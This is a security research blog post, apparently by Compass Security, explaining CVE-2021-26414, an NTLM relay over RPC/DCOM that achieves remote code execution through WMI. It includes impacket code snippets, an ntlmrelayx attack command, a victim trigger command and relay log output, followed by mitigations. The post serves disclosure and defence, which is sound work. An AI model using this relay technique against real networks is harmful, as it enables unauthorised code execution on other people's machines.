A little bit over a year ago, I wrote an article on this blog about CVE-2020-1113 and how it enabled code execution on a remote machine through relaying NTLM authentication over RPC triggering a scheduled task on the remote system. Back then I wrote:

Microsoft released a fix as part of the Update Tuesday in May 2020. The solution implemented adds integrity requirement for the Task Scheduler Service. It does not fix the lack of global integrity requirement for RPC.

And then in the “Next Steps” section I mentioned it would be interesting to:

Develop more RPC attacks: Using MS-DCOM, MS-WMI or other protocols that were not analysed, it may be possible to make attacks work beyond CVE-2020-1113.

Are your seeing where this is going?

CVE-2021-26414

Once again, due to the absence of global integrity verification requirements for the RPC protocol, a man-in-the-middle attacker can relay his victim’s NTLM authentication to a target of his choice over the RPC protocol. Provided the victim has administrative privileges on the target, the attacker can then execute code on the remote target.

This vulnerability was discovered by Compass Security in June 2021, and it was soon discovered that it was already patched in newer versions of Windows. Indeed, this issue had already been reported by Dlive of Tencent Security Xuanwu Lab.

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26414

Microsoft released a fix as part of the Update Tuesday in June 2021. The solution implemented adds integrity requirement for the DCOM Service. It still does not fix the lack of global integrity requirement for RPC, but renders one big vector of attacks impossible.

NTLM Relaying 101

The diagram below gives a simplified view of NTLM relay attacks:

The attacker acts as a server to the client and as a client to the server. He extracts the NTLM authentication blobs from the client messages and puts them in modified messages to the server and vice versa. In the end, he can use the authenticated session as he sees fit.

For such an attack to work, one needs to be in a man-in-the-middle position. This can be achieved using traditional spoofing techniques (ARP, DNS, LLMNR & Netbios, etc.) or by triggering a connection to the attacker machine through a bug or misused feature (Printer Bug, PetitPotam, Juicy Potato, etc.).

Previous work

NTLM relay has been used and reused in several attacks since my last blog post:

The attack!

The re-authentication problem

Last year, I was writing:

MS-DCOM is used by MS-WMI and would be a nice attack vector. However, as a typical WMI code execution requires authenticating to several RPC interfaces, it’s not the best choice for the NTLM relay attack (without a re-authentication method).

This was without taking into account the latest development of impacket by 0xdeaddood, which implement SMB reauthentication using a response with the STATUS_NETWORK_SESSION_EXPIRED flag set. What a great feature!

Two-stage attack

Thanks to SMB reauthentication, we can authenticate to both RPC interfaces necessary for code execution over WMI. Now all we have to do is to split the attack from impacket’s wmiexec.py in two stages. When the first authentication from the victim arrives, we instantiate the DCOM object (using RemoteCreateInstance):

scm = IRemoteSCMActivator(self.client)
iInterface = scm.RemoteCreateInstance(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)

If this works, we save the iInterface object for the second stage and wait for re-authentication. When the second authentication arrives, we use the object to execute code:

iWbemLevel1Login = MyIWbemLevel1Login(iInterface, self.client)
iWbemServices = MyIWbemServices(iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL), self.client)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
win32Process.Create(self.config.command, str('C:\\'), None)

PoC or GTFO

In our setup, the attacker machine has IP 172.16.100.248 and the target machine FILESHARE is a Windows Server 2016 with IP 172.16.100.14. The victim user WINLAB\scooper-da is in the local Administrators group of the target machine and opens an SMB connection from the machine with IP 172.16.100.18.

Attacker starts ntlmrelayx.py

The attacker installs our custom version of impacket and starts the tool on his host with IP 172.16.100.248. He wants to start calc.exe on the target 172.16.100.14:

# python3 ./examples/ntlmrelayx.py -debug -t dcom1://172.16.100.14 -c "calc.exe"
Impacket v0.9.23.dev1 - Copyright 2020 SecureAuth Corporation

[CUT BY COMPASS]
[*] Protocol Client DCOM1 loaded..
[*] Protocol Client DCOM2 loaded..
[+] Protocol Attack DCOM2 loaded..
[+] Protocol Attack DCOM1 loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server

[*] Servers started, waiting for connections

Victim triggers a connection

From the machine 172.16.100.18, the victim opens an SMB connection to the attacker machine. This mimics an administrator accessing a share or performing an administrative task:

> net view \\172.16.100.248\burpisnot\beef

Attacker relays and profits!

The tool picks the connection up and relays it. Since the relayed user is a local administrator on the target machine, he has the permission to execute remote commands:

[*] SMBD-Thread-4: Connection from WINLAB/SCOOPER-DA@172.16.100.18 controlled, attacking target dcom1://172.16.100.14
[*] Authenticating against dcom1://172.16.100.14 as WINLAB/SCOOPER-DA SUCCEED
[+] DCOM1 Attack, CoCreateInstanceEx
[+] No need to do a bind ... doing nothing
[+] DCOM1 Attack, Done. Saving interface for later
[*] SMBD-Thread-4: Connection from WINLAB/SCOOPER-DA@172.16.100.18 controlled, attacking target dcom2://WINLAB\SCOOPER-DA@172.16.100.14
[+] initializing DCOM2RelayClient
[+] initializing DCOM2RelayClient connection, looking for INTERFACE with parameters 172.16.100.14, WINLAB/SCOOPER-DA
[+] Target system is 172.16.100.14 and isFDQN is False
[+] StringBinding: \\\\FILESHARE[\\PIPE\\atsvc]
[+] StringBinding: FILESHARE[49669]
[+] StringBinding: 172.16.100.14[49669]
[+] StringBinding chosen: ncacn_ip_tcp:172.16.100.14[49669]
[*] Authenticating against dcom2://WINLAB\SCOOPER-DA@172.16.100.14 as WINLAB/SCOOPER-DA SUCCEED
[+] DCOM2 Attack, looking for interface with params 172.16.100.14, WINLAB/SCOOPER-DA
[+] DCOM2 Attack, Level1Login
[+] DCOM2 Attack, RemRelease
[+] DCOM2 Attack, GetObjet Win32_Process
[+] DCOM2 Attack, Execute command

As a result, code is executed on the FILESHARE machine.

In a nutshell

The Wireshark dump on the attacker machine shows the attack process:

We see the relayed authentication and the two attack stages above. Also note the “Auth level” which is set to “Connect”.

Trying it out

This was also presented by Dlive at DEFCON 29, his code might be published and we will update this blog post.

Mitigations

This attack relies on several issues. Here are some measures to solve the underlying problems:

  • Patch your Windows! And ensure your setting enforce integrity on DCOM (see the Microsoft Update Guide)
  • Enforce packet signing for clients and servers throughout your network via GPO.
  • Check you Active Directory ACLs: the least privilege principle should be used.
  • Network segmentation can help prevent relaying attacks.
  • Stop using NTLM now 🤡

Next steps

It might still be possible to develop more RPC attacks. Are there other protocols that were not analyzed and allow code execution? Let me know if you have an idea!

Thanks

Talk to us!

Don’t hesitate to share your ideas with us in the comments below, on Twitter (myself or Compass Security).